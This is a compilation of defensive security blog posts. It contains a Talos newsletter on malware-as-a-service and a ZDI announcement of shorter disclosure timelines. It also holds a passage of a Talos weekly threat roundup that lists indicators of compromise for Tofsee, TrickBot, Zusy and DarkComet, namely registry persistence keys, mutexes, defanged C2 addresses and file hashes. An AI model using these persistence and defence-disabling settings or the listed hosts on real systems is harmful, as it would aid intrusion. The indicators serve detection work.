Welcome to this week’s edition of the Threat Source newsletter.

Everyone seems to want to create the next “Netflix” of something. Xbox’s Game Pass is the “Netflix of video games.” Rent the Runway is a “Netflix of fashion” where customers subscribe to a rotation of fancy clothes.

And now threat actors are looking to be the “Netflix of malware.” All categories of malware have some sort of "as-a-service" twist now. Some of the largest ransomware groups in the world operate “as a service,” allowing smaller groups to pay a fee in exchange for using the larger group’s tools.

Our latest report on information-stealers points out that “infostealers as-a-service" are growing in popularity, and our researchers also discovered a new “C2 as-a-service" platform where attackers can pay to have this third-party site act as their command and control. And like Netflix, this Dark Utilities site offers several other layers of tools and malware to choose from. This is a particularly scary trend to me because of how easy — relatively speaking — this makes things for anyone with a basic knowledge of computers to carry out a cyber attack. Netflix made it easy for people like my Grandma to find everything she needs in one place to watch anything from throwback shows like “Night Rider” to the live action of “Shrek: The Musical” and everything in between.

How much longer before anyone with access to the internet can log into a singular dark web site and surf for whatever they’re in the mood for that day? As someone who has spent zero time on the actual dark web, this may already exist and I don’t even know about it, but maybe a threat actor will one day be smart enough to make a website that looks as sleek as Netflix so you can scroll through suggestions and hand-pick the Redline information-stealer followed up by a relaxing evening of ransomware from Conti.

With everything going “as a service” it means I don’t necessarily have to have the coding skills to create my own bespoke malware. So long as I have the cash, I could conceivably buy an out-of-the-box tool online and deploy it against whoever I want.

This is not necessarily as easy as picking a show on Netflix. But it’s not a huge leap to look at the skills gap Netflix closes by allowing my Grandma to surf for any show she wants without having to scroll through cable channels or drive to the library to check out a DVD, and someone who knows how to use PowerShell being able to launch an “as-a-service" ransomware attack.

I have no idea what the easy solution is here aside from all the traditional forms of detection and prevention we preach. Outside of direct law enforcement intervention, there are few ways to take these “as a service” platforms offline. Maybe that just means we need to start working on the “Netflix of cybersecurity tools.”

## The one big thing

Historically, cybercrime was considered white-collar criminal behavior perpetrated by those that were knowledgeable and turned bad. Now, technology has become such an integral part of our lives that anyone with a smartphone and desire can get started in cybercrime. The growth of cryptocurrencies and associated anonymity, whether legitimate or not, has garnered the attention of criminals that formerly operated in traditional criminal enterprises and have now shifted to cybercrime and identity theft. New research from Talos indicates that small-time criminals are increasingly taking part in online crime like phishing, credit card scams and more in favor of traditional “hands-on” crime.

### Why do I care?

Everyone panics when the local news shows a graph with “violent crime” increasing in our respective areas. So we should be just as worried about the increase in cybercrime over the past few years, and the potential for it to grow. As mentioned above, “as a service” malware offerings have made it easier for anyone with internet access to carry out a cyber attack and deploy ransomware or just try to scam someone out of a few thousand dollars.

### So now what?

Law enforcement, especially at the local level, is going to need to evolve along with the criminals as they are tasked with protecting the general public. The future criminal is going to be aware of operational security and technologies like Tor to make their arrests increasingly difficult. This is just as good a time as any to remember to talk to your family about cybersecurity and internet safety. Remind family members about common types of scams like the classic “I’m in the hospital and need money.”

## Other news of note

Microsoft Patch Tuesday was headlined by another zero-day vulnerability in the Microsoft Support Diagnostics Tool (MSDT). CVE-2022-35743 and CVE-2022-34713 are remote code execution vulnerabilities in MSDT. However, only CVE-2022-34713 has been exploited in the wild and Microsoft considers it “more likely” to be exploited. MSDT was already the target of the so-called “Follina” zero-day vulnerability in June. In all, Microsoft patched more than 120 vulnerabilities across all its products. Adobe also released updates to fix 25 vulnerabilities on Tuesday, mainly in Adobe Acrobat Reader. One critical vulnerability could lead to arbitrary code execution and memory leak. (Talos blog, Krebs on Security, SecurityWeek

Some of the U.K.’s 111 services were disrupted earlier this week after a suspected cyber attack against its managed service provider. The country’s National Health System warned residents that some emergency calls could be delayed and others could not schedule health appointments. Advance, the target of the attack, said it was investigating the potential theft of patient data. As of Thursday morning, at least nine NHS mental health trusts could face up to three weeks without access to vulnerable patients’ records, though the incident has been “contained.” (SC Magazine, Bloomberg, The Guardian

An 18-year-old and her mother are facing charges in Nebraska over an alleged medicated abortion based on information obtained from Facebook messages. Court records indicate state law enforcement submitted a search warrant to Meta, the parent company of Facebook, demanding all private data, including messages, that the company had for the two people charged. The contents of those messages were then used as the basis of a second search warrant, in which additional computers and devices were confiscated. Although the investigation began before the U.S. Supreme Court’s reversal of Roe v. Wade, the case highlights a renewed focus on digital privacy and data storage. (Vice, CNN

## Upcoming events where you can find Talos

(Aug. 10 - 12, 2022)

(Aug. 11 - 14, 2022)

(Aug. 25, 2022)
Virtual

## Most prevalent malware files from Talos telemetry over the past week

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934
MD5: 93fefc3e88ffb78abb36365fa5cf857c
Typical Filename: Wextract
Claimed Product: Internet Explorer
Detection Name: PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

MD5: 2c8ea737a232fd03ab80db672d50a17a
Typical Filename: LwssPlayer.scr
Claimed Product: 梦想之巅幻灯播放器
Detection Name: Auto.125E12.241442.in02

MD5: a087b2e6ec57b08c0d0750c60f96a74c
Typical Filename: AAct.exe
Claimed Product: N/A
Detection Name: PUA.Win.Tool.Kmsauto::1201

MD5: 8c69830a50fb85d8a794fa46643493b2
Typical Filename: AAct.exe
Claimed Product: N/A
Detection Name: PUA.Win.Dropper.Generic::1201

MD5: 311d64e4892f75019ee257b8377c723e
Typical Filename: ultrasurf-21-32.exe
Claimed Product: N/A
Detection Name: W32.DFC.MalParent

# New Disclosure Timelines for Bugs Resulting from Incomplete Patches

11 August 2022 at 19:00

Today at the Black Hat USA conference, we announced some new disclosure timelines. Our standard 120-day disclosure timeline for most vulnerabilities remains, but for bug reports that result from faulty or incomplete patches, we will use a shorter timeline. Moving forward, the ZDI will adopt a tiered approach based on the severity of the bug and the efficacy of the original fix. The first tier will be a 30-day timeframe for most Critical-rated cases where exploitation is detected or expected. The second level will be a 60-day interval for Critical- and High-severity bugs where the patch offers some protections. Finally, there will be a 90-day period for other severities where no imminent exploitation is expected. As with our normal timelines, extensions will be limited and granted on a case-by-case basis.

Since 2005, the ZDI has disclosed more than 10,000 vulnerabilities to countless vendors. These bug reports and subsequent patches allow us to speak from vast experience when it comes to the topic of bug disclosure. Over the last few years, we’ve noticed a disturbing trend – a decrease in patch quality and a reduction in communications surrounding the patch. This has resulted in enterprises losing their ability to accurately estimate the risk to their systems. It’s also costing them money and resources as bad patches get re-released and thus re-applied.

Adjusting our disclosure timelines is one of the few areas that we as a disclosure wholesaler can control, and it’s something we have used in the past with positive results. For example, our disclosure timeline used to be 180 days. However, based on data we tracked through vulnerability disclosure and patch release, we were able to lower that to 120 days, which helped reduce the vendor’s overall time-to-fix. Moving forward, we will be tracking failed patches more closely and will make future policy adjustments based on the data we collect.

Another thing we announced today is the creation of a new Twitter handle: @thezdibugs. This feed will only tweet out published advisories that are either a high CVSS, 0-day, or resulting from Pwn2Own. If you’re interested in those types of bug reports, we ask that you give it a follow. We’re also now on Instagram, and you can follow us there if you prefer that platform over Twitter.

Looking at our published and upcoming bug reports, we are on track for our busiest year ever – for the third year in a row. That also means we’ll have plenty of data to look at as we track incomplete or otherwise faulty patches, and we’ll use this data to adjust these timelines as needed based on what we are seeing across the industry. Other groups may have different timelines, but this is our starting point. With an estimated 1,700 disclosures this year alone, we should be able to gather plenty of metrics. Hopefully, we will see improvements as time goes on.

Until then, stay tuned to this blog for updates, subscribe to our YouTube channel, and follow us on Twitter for the latest news and research from the ZDI.

New Disclosure Timelines for Bugs Resulting from Incomplete Patches

# Threat Roundup for August 5 to August 12

12 August 2022 at 20:12

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Aug. 5 and Aug. 12. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

For each threat described below, this blog post only lists 25 of the associated file hashes and up to 25 IOCs for each category. An accompanying JSON file can be found herethat includes the complete list of file hashes, as well as all other IOCs from this post. A visual depiction of the MITRE ATT&CK techniques associated with each threat is also shown. In these images, the brightness of the technique indicates how prevalent it is across all threat files where dynamic analysis was conducted. There are five distinct shades that are used, with the darkest indicating that no files exhibited technique behavior and the brightest indicating that technique behavior was observed from 75 percent or more of the files.

The most prevalent threats highlighted in this roundup are:

Threat Name Type Description
Win.Dropper.Tofsee-9960568-0 Dropper Tofsee is multi-purpose malware that features a number of modules used to carry out various activities such as sending spam messages, conducting click fraud, mining cryptocurrency and more. Infected systems become part of the Tofsee spam botnet and are used to send large volumes of spam messages to infect additional systems and increase the size of the botnet under the operator's control.
Win.Dropper.TrickBot-9960840-0 Dropper Trickbot is a banking trojan targeting sensitive information for certain financial institutions. This malware is frequently distributed through malicious spam campaigns. Many of these campaigns rely on downloaders for distribution, such as VB scripts.
Win.Trojan.Zusy-9960880-0 Trojan Zusy, also known as TinyBanker or Tinba, is a trojan that uses man-in-the-middle attacks to steal banking information. When executed, it injects itself into legitimate Windows processes such as "explorer.exe" and "winver.exe." When the user accesses a banking website, it displays a form to trick the user into submitting personal information.
Win.Dropper.DarkComet-9961766-1 Dropper DarkComet and related variants are a family of remote access trojans designed to provide an attacker with control over an infected system. This malware can download files from a user's machine, mechanisms for persistence and hiding. It also has the ability to send back usernames and passwords from the infected system.
Win.Ransomware.TeslaCrypt-9960924-0 Ransomware TeslaCrypt is a well-known ransomware family that encrypts a user's files with strong encryption and demands Bitcoin in exchange for a file decryption service. A flaw in the encryption algorithm was discovered that allowed files to be decrypted without paying the ransomware, and eventually, the malware developers released the master key allowing all encrypted files to be recovered easily.
Win.Virus.Xpiro-9960895-1 Virus Expiro is a known file infector and information-stealer that hinders analysis with anti-debugging and anti-analysis tricks.
Win.Dropper.Emotet-9961142-0 Dropper Emotet is one of the most widely distributed and active malware families today. It is a highly modular threat that can deliver a wide variety of payloads. Emotet is commonly delivered via Microsoft Office documents with macros, sent as attachments on malicious emails.
Win.Dropper.Remcos-9961392-0 Dropper Remcos is a remote access trojan (RAT) that allows attackers to execute commands on the infected host, log keystrokes, interact with a webcam, and capture screenshots. This malware is commonly delivered through Microsoft Office documents with macros, sent as attachments on malicious emails.
Win.Dropper.Ramnit-9961396-0 Dropper Ramnit is a banking trojan that monitors web browser activity on an infected machine and collects login information from financial websites. It also has the ability to steal browser cookies and attempts to hide from popular antivirus software.

## Threat Breakdown

### Win.Dropper.Tofsee-9960568-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 10 samples
Registry Keys Occurrences
<HKU>\.DEFAULT\CONTROL PANEL\BUSES Value Name: Config4  3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: LanguageList  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\dhcpqec.dll,-100  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\dhcpqec.dll,-101  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\dhcpqec.dll,-103  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\dhcpqec.dll,-102  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\napipsec.dll,-1  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\napipsec.dll,-2  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\napipsec.dll,-4  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\napipsec.dll,-3  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\tsgqec.dll,-100  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\tsgqec.dll,-101  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\tsgqec.dll,-102  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\tsgqec.dll,-103  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\eapqec.dll,-100  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\eapqec.dll,-101  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\eapqec.dll,-102  3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: @%SystemRoot%\system32\eapqec.dll,-103  3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES Value Name: Config0  3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES Value Name: Config1  3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES Value Name: Config2  3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES Value Name: Config3  3
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\FNWISXTV Value Name: ErrorControl  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\FNWISXTV Value Name: DisplayName  1
Mutexes Occurrences
Global\27a1e0c1-13fc-11ed-9660-001517101edf 1
Global\30977501-13fc-11ed-9660-001517215b93 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
216[.]146[.]35[.]35 3
31[.]13[.]65[.]174 3
142[.]251[.]40[.]196 3
96[.]103[.]145[.]165 3
31[.]41[.]244[.]82 3
31[.]41[.]244[.]85 3
80[.]66[.]75[.]254 3
80[.]66[.]75[.]4 3
31[.]41[.]244[.]128 3
31[.]41[.]244[.]126/31 3
208[.]76[.]51[.]51 2
74[.]208[.]5[.]20 2
208[.]76[.]50[.]50 2
202[.]137[.]234[.]30 2
212[.]77[.]101[.]4 2
193[.]222[.]135[.]150 2
203[.]205[.]219[.]57 2
47[.]43[.]18[.]9 2
67[.]231[.]144[.]94 2
188[.]125[.]72[.]74 2
40[.]93[.]207[.]0/31 2
205[.]220[.]176[.]72 2
135[.]148[.]130[.]75 2
121[.]53[.]85[.]11 2
67[.]195[.]204[.]72/30 1
*See JSON for more IOCs
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
249[.]5[.]55[.]69[.]bl[.]spamcop[.]net 3
249[.]5[.]55[.]69[.]cbl[.]abuseat[.]org 3
249[.]5[.]55[.]69[.]dnsbl[.]sorbs[.]net 3
249[.]5[.]55[.]69[.]in-addr[.]arpa 3
249[.]5[.]55[.]69[.]sbl-xbl[.]spamhaus[.]org 3
249[.]5[.]55[.]69[.]zen[.]spamhaus[.]org 3
microsoft-com[.]mail[.]protection[.]outlook[.]com 3
microsoft[.]com 3
www[.]google[.]com 3
www[.]instagram[.]com 3
comcast[.]net 3
mx1a1[.]comcast[.]net 3
jotunheim[.]name 3
niflheimr[.]cn 3
whois[.]arin[.]net 2
whois[.]iana[.]org 2
mx-eu[.]mail[.]am0[.]yahoodns[.]net 2
aspmx[.]l[.]google[.]com 2
mta5[.]am0[.]yahoodns[.]net 2
icloud[.]com 2
cox[.]net 2
walla[.]com 2
hanmail[.]net 2
allstate[.]com 2
wp[.]pl 2
*See JSON for more IOCs
Files and or directories created Occurrences
%SystemRoot%\SysWOW64\config\systemprofile 3
%SystemRoot%\SysWOW64\config\systemprofile:.repos 3
%SystemRoot%\SysWOW64\fnwisxtv 1
%SystemRoot%\SysWOW64\airdnsoq 1
%SystemRoot%\SysWOW64\uclxhmik 1
%TEMP%\dnyabinr.exe 1
%TEMP%\lcxykqya.exe 1
%TEMP%\qzguacfj.exe 1

#### File Hashes

 098ad43e2067c5c814cebe1fc52bdc528289c6a2cc96daf4e8bac90d1c95a0b3 2240525bf4ee830766ec33e2e3c0dfcdf871748088fcf068770fd306940c5957 693cd93fbc6bfb587ad011477ae870805725c5403260621a290f61bb0d243f47 a6b68aa5d00739401b413ed936526ea5e767824fddb4e768e03fb05dc369a6fd b9820bc7b09bfa88556efac463b7459d2f4a47f06cc953529a9782fdbefd4959 c2cb05d50c06d9ed65a7c53fb2f6b7977f2988f5fbbd928266bb8ea27723b243 d6df88c6f61812a4bb662abb8d90fb4ba7e17ae5b9351251d001b7945d7aae98 ec745df5a9e65776f76b97e9685ad86fbb130bb6a3146a7823bd94c7c6502f1d f3e93f62b4f4699a3d20e85fa3c9e8b7eb9129a15ca66720d4f677cae0c5a469 f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella
WSA

### Win.Dropper.TrickBot-9960840-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 36 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\USERDS  36
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS Value Name: 4334c972  36
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS Value Name: 2d17e659  36
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent3  7
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent5  5
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent9  4
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent6  4
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent7  3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent2  3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent1  3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent8  3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent0  2
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: IntelPowerAgent4  2
Mutexes Occurrences
98b59d0b000000cc 36
98b59d0b00000120 36
Global\{2d17e659d34601689591} 36
98b59d0b00000174 36
98b59d0b00000150 36
98b59d0b00000158 36
98b59d0b000001ac 35
98b59d0b00000308 35
98b59d0b0000043c 35
98b59d0b000004b4 35
98b59d0b000001bc 35
98b59d0b000002ec 35
98b59d0b000001f0 35
98b59d0b000001c4 35
98b59d0b0000021c 35
98b59d0b0000025c 35
98b59d0b00000294 35
98b59d0b00000320 35
98b59d0b000003d4 35
98b59d0b000003f8 35
98b59d0b000004dc 35
98b59d0b0000060c 8
98b59d0b000005cc 8
98b59d0b000004f8 8
98b59d0b00000614 7
*See JSON for more IOCs
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
209[.]197[.]3[.]8 11
72[.]21[.]81[.]240 7
69[.]164[.]46[.]0 6
8[.]253[.]154[.]236/31 3
23[.]46[.]150[.]81 2
23[.]46[.]150[.]58 2
8[.]253[.]141[.]249 1
8[.]253[.]38[.]248 1
8[.]253[.]140[.]118 1
23[.]46[.]150[.]43 1
8[.]247[.]119[.]126 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
download[.]windowsupdate[.]com 36
adtejoyo1377[.]tk 36
Files and or directories created Occurrences
%ProgramData%\c7150968.exe 1
%LOCALAPPDATA%\gusEBBF.tmp.bat 1
%ProgramData%\ba886437.exe 1
%HOMEPATH%\jfpDCC6.tmp.bat 1
%ProgramData%\63b007ed.exe 1
%HOMEPATH%\dtaE10F.tmp.bat 1
%ProgramData%\545ba94b.exe 1
%HOMEPATH%\hcv6907.tmp.bat 1
%ProgramData%\7afae1e8.exe 1
%HOMEPATH%\greA7E2.tmp.bat 1
%ProgramData%\9421c9aa.exe 1
%APPDATA%\vqpA923.tmp.bat 1
%ProgramData%\f779fb59.exe 1
%ProgramData%\xywA29.tmp.bat 1
%ProgramData%\940d0a1e.exe 1
%HOMEPATH%\jawD8CB.tmp.bat 1
%ProgramData%\a37667ce.exe 1
%HOMEPATH%\lkyB72F.tmp.bat 1
%ProgramData%\edcfad58.exe 1
%HOMEPATH%\pvf22C5.tmp.bat 1
%ProgramData%\182b8517.exe 1
%LOCALAPPDATA%\qsw15A4.tmp.bat 1
%ProgramData%\a3a20124.exe 1
%HOMEPATH%\xqh15A4.tmp.bat 1
%ProgramData%\a116e074.exe 1
*See JSON for more IOCs

#### File Hashes

 007a16c9f6908085a2d65e991ae691f41e7ceab17653200669b4286af82e8c12 017306c686a5a81630e746b9518106fd5e54b410b50a61f43cba7a3850b1fec8 024d73837dea32792852294b951dcb246c56442ebde4643cef6733f411f581b6 0284c0aff10ff3ca7e6078f3d8191fc9c4db42fbfb912a8cefabc937c1eca87d 02df9ec5bfb9e1bb613b5ee7d4a518bccc9f87580182f26d6e5d5a643036e3a1 03226228480f9e9d87a0370428d337023226314bd9447efccdbc03bb672ec81b 0337b9f06cda7d7a6e96ce2a29e0f004fb6df49d3b82d294a17a13604e754f86 03a89b1af244c7d20db8498d9284c20deea9462fb15db2f89b4c59a9be47c2f0 04432d06396fac85167c0a9dadf206dc50ea8527c29b943b77f192e45dbce22d 04679de514d8e3902341b314e324e6f75ba536d09da05e99958dc5b4a689de42 049f0322736b0abeec70630b9efbbd40d9a0916ce359a5a8168165d25a76e48f 04e819e635fc974afd4ee533b478841ba581ddcff254034fdbfea6522939ef5f 05b51b8179992a7e21259d9eacdaf8b1115e51056ec0104daddda5a0810f7126 0734ea55ac016a1e6b6ac40837883a684656eec9ce857351c9f99d3c965d6501 07e4ebd0b135dbfcf1e7d2b60386c9b52fa5d154d072a5689eb3a7a2b15112d6 08da477f7c363ddbc11224260717cf6f7f48e849cff403e25559529029b8fdf4 08e9ccb010aceac1ea0c0fbb41e58c8e2552b30de500bf43e298a645f5acedf7 097f9d7400b8a8c8bf5aa5339bf18359148a533f9136cd9b6279623e4db293d7 0bde820541632a300070601291eb1c478b9d09da2b405f740d6fe92b290a45de 0be2e49c02aa297d158bd5fe213a96584455fb4cea7c24dd100b9922df2a45c5 0bf64ebc68956ea9d73858f32530c20fab4243fb09320adfd500fb94842a9888 0c29c2763f311604136a06a99fa76ed09411572cd796021b60c66806e6c8e5a9 0c6b997f98a1e58caf5a16a90317d2cb1d2474ac5c5926f26fa2b14a9299638a 0d30d3c9cf63898bb2e970ec5a54dfe868fc5f519fd6b283bd00a2d22a01a653 0da6c492cc755852c07bf7511b774e2527dce42be420f602e9445f1bb760ad33
*See JSON for more IOCs

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella N/A
WSA N/A

### Win.Trojan.Zusy-9960880-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 16 samples
Registry Keys Occurrences
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH  12
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: MarkTime  12
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: Description  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: Type  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: Start  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: ErrorControl  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: ImagePath  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: DisplayName  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: WOW64  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: ObjectName  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: FailureActions  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU Value Name: MarkTime  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: Group  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH Value Name: InstallTime  2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: Description  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: Type  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: Start  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: ErrorControl  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: DisplayName  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: WOW64  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: ObjectName  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF Value Name: FailureActions  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU Value Name: Description  1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU Value Name: Type  1
Mutexes Occurrences
127.0.0.1:8000:Cdefgh 3
112.74.89.58:44366:Cdefgh 3
112.74.89.58:42150:Cdefgh 1
47.100.137.128:8001:Pqrstu 1
22.23.24.56:8001:Pqrstu 1
hz122.f3322.org:8001:Cdefgh 1
112.74.89.58:35807:Cdefgh 1
112.74.89.58:46308:Cdefgh 1
101.33.196.136:3389:Cdefgh 1
127.0.0.1:8001:Cdefgh 1
183.28.28.43:8001:Abcdef 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
112[.]74[.]89[.]58 6
22[.]23[.]24[.]56 1
47[.]100[.]137[.]128 1
101[.]33[.]196[.]136 1
183[.]28[.]28[.]43 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
hz122[.]f3322[.]org 1
Files and or directories created Occurrences
%SystemRoot%\svchost.exe 4

#### File Hashes

 04fa031e5d2d86f8dbe0d3b95d67ea774448df4613e8acce79f0c9a30ef041bc 2444b744b5c06e9410ee5c3baa807569fde44c5092192428de935e03d25b1edb 466ca0805173034a7b12a5ffce104bbe5ed312e7441abdb98849ae4103150d04 5a755f07d3b90ac5a2041fd04fd764c40882dd20b50f91fddbc10b8c6341591d 5b53262a14fe1dcd42d670b0488d0de11aeb7cfa84e36acb4eec0c13b5fd2d73 5ca6b22c6e7de5f0b9437970f1f9360ad4f3a74f964eb319080e347c27c6dff9 6ea5fdaa95dbe09ccbc474ba4fc9fbe796e79c02d2b4f65f223feda5643f5400 86bd70bc7bb74d3d4991b0f1c7e15ddef1d09695b3940c5fb015f2d00ce5f558 b9b344bd7005b233cbb85395f61c309938fe70e2f8a8d0b2c24441ba074f9ca5 bea6c7b4117eb1f894d830c77ddf6d4424bccb6043d0f43c257522d253321c3e c0a8a6e606e46a970cefe81f269ec6aec2a538830c2f7e03cf0eac55b135a59a c968ae3cfbbd89673b49f6bfd474eea846bdb1e2e3a7c5376dbcda5290d445ed dfc315d962da82d84b54683a849edf4e7b16bb136dbc2eb1198d35e528920103 ec6cb8ff27e33d7e69ce02885baa9c08fd5a03349a16a52590353a4ec364c464 f240b80b34fa480dc7236ddecb5c326e719a094e49df5a6f2070712650553066 fd0e616e5ebb9075c44bb6772cf8b2c46801fafdb0716636850dc2ec0fe06f8c

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella N/A
WSA

### Win.Dropper.DarkComet-9961766-1

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 33 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\DC3_FEXEC  29
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: Windows Debugger  24
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON Value Name: UserInit  23
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E Value Name: LanguageList  19
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: MicroUpdate  11
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: svchost.exe  7
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM Value Name: EnableLUA  5
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM  5
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE Value Name: EnableFirewall  4
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE Value Name: DisableNotifications  4
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: AntiVirusDisableNotify  4
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM Value Name: DisableTaskMgr  3
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: UpdatesDisableNotify  3
